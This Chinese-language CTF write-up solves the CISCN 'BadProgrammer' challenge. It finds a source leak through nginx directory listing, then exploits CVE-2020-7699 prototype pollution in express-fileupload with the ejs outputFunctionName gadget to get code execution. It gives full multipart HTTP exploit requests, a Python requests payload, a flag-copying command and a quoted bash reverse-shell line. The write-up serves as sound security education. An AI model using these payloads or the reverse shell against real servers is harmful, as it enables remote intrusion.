首页 > 其他分享 >buu [CISCN] BadProgrammer题解

buu [CISCN] BadProgrammer题解

时间:2023-03-28 19:58:52浏览次数:50  
标签:CISCN process 题解 app express Content flag BadProgrammer txt

[CISCN] BadProgrammer

image-20230307083733111

页面很长,有很多的按钮,但是点了之后都没反应

查看源码、扫描

image-20230307084327820

打开到具体目录

image-20230307084414700

image-20230307084546248

一个个目录点开看,在static/下找到了一个flag.ejs文件

image-20230307085630546

下载,打开

image-20230307085645559

可是两个目录下的文件夹中都没有flag.txt,得想办法找到读取出来

路由文件app.js 中提到了 flag.ejs

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
    res.render('flag.ejs');
});

app.get('/', (req, res) => {
    res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
    console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});

百度一下,发现是一个中间件

image-20230307092521112

搜索这个中间件的漏洞,存在着CVE漏洞

CVE-2020-7699漏洞分析 - FreeBuf网络安全行业门户

CVE-2020-7699:NodeJS模块代码注入

该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true

该漏洞可以引发DOS拒绝服务攻击,配合ejs模板引擎,可以达到RCE的目的
npm i [email protected]

而且和题目中的版本一致,大概就是这个中间件的漏洞

image-20230307092825367

参照CVE漏洞的payload

image-20230307095435875

POST / HTTP/1.1
​
Host: 192.168.0.101:7778
​
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
​
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
​
Accept-Language: en-US,en;q=0.5
​
Accept-Encoding: gzip, deflate
​
Referer: http://192.168.0.101:7778/
​
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
​
Content-Length: 339
​
Connection: close
​
Upgrade-Insecure-Requests: 1
​
​
​
-----------------------------1546646991721295948201928333
​
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
​
Content-Type: text/plain
​
​
​
aaa
​
​
-----------------------------1546646991721295948201928333
​
Content-Disposition: form-data; name="username"
​
​
​
123
​
-----------------------------1546646991721295948201928333--
​

通过req.body返回的是

{ username : '123' }

我们将上面的username改为

__proto__.outputFunctionName

123的值改为:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

所以本题的payload修改为

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

同时也需要构造一个POST请求

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:52850
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 245
Content-Type: multipart/form-data; boundary=f9ad5c42ff3d78f5b5d3aa7539dc1354

--f9ad5c42ff3d78f5b5d3aa7539dc1354
Content-Disposition: form-data; name="__proto__.outputFunctionName"

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

--f9ad5c42ff3d78f5b5d3aa7539dc1354--

在原来的基础上把GET 请求换成了POST

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:52850

后面的就是抓包的信息,原封不动地cv过来

再加上关键信息

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:65379
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 289
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="__proto__.outputFunctionName"

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

-----------------------------1546646991721295948201928333--

这里的内容不能删、加空行,试了很多次,有时候随便删、加空行后就执行不了

还有这里的boundary是在使用post上传文件时,不仅需要指定mutipart/form-data来进行编码,还需要在Content-Type中定义boundary作为表单参数的分隔符

进入目录得到flag

image-20230307104538147

--------------------------------------------------------------------------------官方wp---------------------------------------------------------------------------

step1 nginx配置错误导致源码泄露

观察源码发现静态文件存放在/static/目录下 :

    <head>
        <title>Semantic UI</title>
        <link rel="stylesheet" type="text/css" href="/static/css/semantic.min.css">
        <script
        src="/static/js/jquery-3.1.1.min.js"
        integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
        crossorigin="anonymous"></script>
        <script src="/static/js/semantic.min.js"></script>
    </head>

观察请求response header发现是nginx服务器加express框架:

Connection: keep-alive
Content-Length: 20175
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Sep 2020 08:15:26 GMT
ETag: W/"4ecf-BRB1SRFii1kA+OilogiQ1K0hP8U"
Server: nginx
X-Powered-By: Express

利用nginx配置错误,可以列目录:

此时可以得到app.js源码:

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
    res.render('flag.ejs');
});

app.get('/', (req, res) => {
    res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
    console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});

step2 express-fileupload原型链污染漏洞

查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。

{
  "name": "app",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "app": "node /app/app.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5",
    "express": "^4.17.1",
    "express-fileupload": "1.1.7-alpha.4"
  }
}

step3 配合ejs模板引擎进行RCE

通过污染ejs中outputFunctionName变量,实现RCE:

resp1 = requests.post("http://{}:{}/{}".format(HOST, PORT, PATH),
        files={'__proto__.outputFunctionName': 
        (
            None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd=cmd)
        )})

step4 拷贝flag

flag在/flag.txt,需要通过命令执行将其拷贝到可访问到的位置。

观察package.json中,可知服务路径为/app

所以我们只需通过RCE执行

cp /flag.txt /app/static/js/flag.txt

再访问http://IP:PORT/static/js/flag.txt即可得到flag。

标签:CISCN,process,题解,app,express,Content,flag,BadProgrammer,txt
From: https://www.cnblogs.com/zbclove/p/17266453.html

相关文章

  • [ARC131D] AtArcher 题解
    题意数轴上有一个箭靶以\(0\)为轴心左右对称,给定每个得分区域的范围和分值,要求射\(N\)支箭在靶上,且任意两支箭的距离不少于\(D\),求最大得分。保证从中心向两侧分数不......
  • android:state_pressed标签失效或android:state_enabled标签失效问题解决
    问题描述:android:state_pressed标签失效或android:state_enabled标签失效,点击不会变色,可用/不可用时不会变色。 <?xmlversion="1.0"encoding="utf-8"?><selector......
  • 省选武汉联测 13 题解
    省选模拟赛俩构造一交互挺nm逆天。赛后题解区就一句Surprise!!!没题解也挺nm逆天。那建议组题人的马先消失一下。这时候就体现学长博客的重要性了。搜关键词搜到三......
  • Conda in Windows under MSYS2 and Zsh 的问题解决
    CondainWindowsunderMSYS2andZsh的问题解决在Window11上使用gitbash安装zsh,并配置p10k主题,主要问题就是prompt中无法显示condaenv;condaactivate/deactivate......
  • 【题解】[SDOI/SXOI2022] 小 N 的独立集(dp of dp)
    题目分析:就借助这个题稍微说一下\(dp\)套\(dp\)。对于\(dp\)套\(dp\)其解决的问题是:若给定某一具体情况则答案十分好求,现要求对于所有的情况的答案进行统计。这......
  • 【题解】[HNOI2007]梦幻岛宝珠
    题目分析:对于这种某一个值很大另一个值很小的背包题,就是要求找特殊性质。既然每一个\(w\)都可以写成\(a\times2^b\)的性质,就可以对于每一个\(b\)单独做背包,这样......
  • 【题解】[APIO2010] 信号覆盖
    题目分析:其实就是涉及四个点之间的位置关系,三个点形成圆判断是否包含另一个点。考虑四个点之间形成的多边形只可能是凸四边形或者是凹四边形,如下图所示:(上图为凸多边形)......
  • 【题解】Atcoder ABC295 A-G
    A.ProbablyEnglish题目分析:直接每一个单词判一下就好了。代码:点击查看代码#include<bits/stdc++.h>usingnamespacestd;intmain(){ intn;scanf("%d",&n); bo......
  • CF743B Chloe and the sequence 题解 分治
    题目链接:http://codeforces.com/problemset/problem/743/B题目大意:对于一个n-序列,如果n==0,那么它是一个空的序列(也就是说空序列中没有元素)。然后会进行i次操作,每次......
  • CF768B Code For 1 题解 分治
    题目链接:http://codeforces.com/problemset/problem/768/B解题思路:分治。本题和的解题思路相似。tips:如果如果\(n\)对应的区间完全被\([l,r]\)覆盖了,则区间\([......